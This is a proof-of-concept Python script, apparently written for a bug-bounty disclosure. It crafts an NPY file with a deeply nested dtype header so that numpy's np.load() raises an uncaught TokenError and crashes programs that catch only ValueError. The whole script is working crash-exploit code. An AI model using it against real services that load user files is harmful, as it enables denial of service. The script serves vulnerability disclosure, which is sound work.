#!/usr/bin/env python3
"""
PoC: CWE-248 Uncaught tokenize.TokenError in numpy np.load()
Target: numpy/numpy (huntr.com)
Affected versions: numpy 2.3.5, main branch commit b6e8ad8 (all versions)
Python: 3.12+

Root cause:
  _read_array_header() in numpy/lib/_format_impl.py calls _filter_header()
  when ast.literal_eval() raises SyntaxError. _filter_header() uses
  tokenize.generate_tokens() which raises TokenError for deeply nested headers.
  TokenError is not caught anywhere in numpy, escaping from np.load().

Impact:
  Any program calling np.load() on a user-provided NPY file and catching
  only ValueError (the documented exception) will be crashed by TokenError.
  Single 1,218-byte file triggers the bug with no user interaction.
"""

import struct
import sys
import os
import numpy as np
from tokenize import TokenError

MAGIC_V1 = b'\x93NUMPY\x01\x00'  # NPY format version 1.0

def make_malicious_npy(nesting_depth=100):
    """
    Build a crafted NPY file whose dtype descriptor has `nesting_depth`
    levels of nested structured dtypes. At depth >= 100 (Python 3.12+),
    ast.literal_eval raises SyntaxError which triggers _filter_header()
    which then raises tokenize.TokenError (not caught by numpy).
    """
    # Build nested descriptor: [('f0', [('f1', [('f2', ... '<f4' ...))])]
    inner = "'<f4'"
    for i in range(nesting_depth):
        inner = "[('f%d', %s)]" % (i, inner)

    header_dict = "{'descr': %s, 'fortran_order': False, 'shape': (1,), }" % inner

    # Encode and pad to ARRAY_ALIGN=64
    hdr = header_dict.encode('latin1')
    raw_len = 10 + 2 + len(hdr) + 1  # magic(8) + hdr_size(2) + hdr + newline
    pad = (64 - (raw_len % 64)) % 64
    hdr = hdr + b' ' * pad + b'\n'

    return MAGIC_V1 + struct.pack('<H', len(hdr)) + hdr

def main():
    print("=" * 65)
    print("PoC: tokenize.TokenError escapes from numpy np.load()")
    print("=" * 65)
    print(f"numpy version : {np.__version__}")
    print(f"Python version: {sys.version.split()[0]}")

    DEPTH = 100
    output_file = "/tmp/malicious_nested_dtype.npy"

    # Generate malicious file
    data = make_malicious_npy(DEPTH)
    with open(output_file, 'wb') as f:
        f.write(data)

    header_size = len(data) - 4  # rough
    print(f"\n[*] Crafted NPY file: {output_file}")
    print(f"[*] File size       : {len(data)} bytes")
    print(f"[*] Nesting depth   : {DEPTH} levels")
    print(f"[*] NPY version     : 1.0")

    # --- Scenario A: Bare np.load() ---
    print("\n[*] Scenario A: bare np.load() — full traceback")
    print("-" * 50)
    try:
        arr = np.load(output_file)
        print(f"[-] Loaded unexpectedly: {arr}")
    except TokenError as e:
        print(f"[+] CONFIRMED: tokenize.TokenError raised!")
        print(f"    Message : {e}")
        print(f"    Type MRO: {[c.__name__ for c in type(e).__mro__]}")
    except Exception as e:
        print(f"[-] Unexpected: {type(e).__name__}: {e}")

    # --- Scenario B: App catches only ValueError (documented pattern) ---
    print("\n[*] Scenario B: program catches except ValueError (documented API)")
    print("-" * 50)
    crashed = False
    try:
        arr = np.load(output_file)
    except ValueError as e:
        print(f"    ValueError caught safely: {e}")
    except TokenError as e:
        crashed = True
        print(f"[+] CONFIRMED: TokenError ESCAPED ValueError handler!")
        print(f"    Message: {e}")
        print(f"    Is ValueError: {isinstance(e, ValueError)}")
        print(f"    Is Exception : {isinstance(e, Exception)}")

    if crashed:
        print(f"\n[!] IMPACT: Application would crash here — TokenError not caught")
        print(f"[!] np.load() documentation lists ValueError as the exception to catch")
        print(f"[!] Programs following the documented API are vulnerable to DoS")

    # --- Minimum depth confirmation ---
    print("\n[*] Minimum trigger depth:")
    print("-" * 50)
    for depth in [99, 100, 101]:
        d = make_malicious_npy(depth)
        with open('/tmp/t.npy', 'wb') as f:
            f.write(d)
        try:
            arr = np.load('/tmp/t.npy')
            print(f"    depth={depth}: loads OK (no bug)")
        except TokenError:
            print(f"    depth={depth}: [+] TokenError raised (VULNERABLE)")
        except ValueError:
            print(f"    depth={depth}: ValueError raised (safe)")
        except Exception as e:
            print(f"    depth={depth}: {type(e).__name__}: {e}")

    os.unlink('/tmp/t.npy')
    print(f"\n[*] PoC file saved at: {output_file}")
    print("[+] Reproduce: python3 poc_numpy.py")

if __name__ == "__main__":
    main()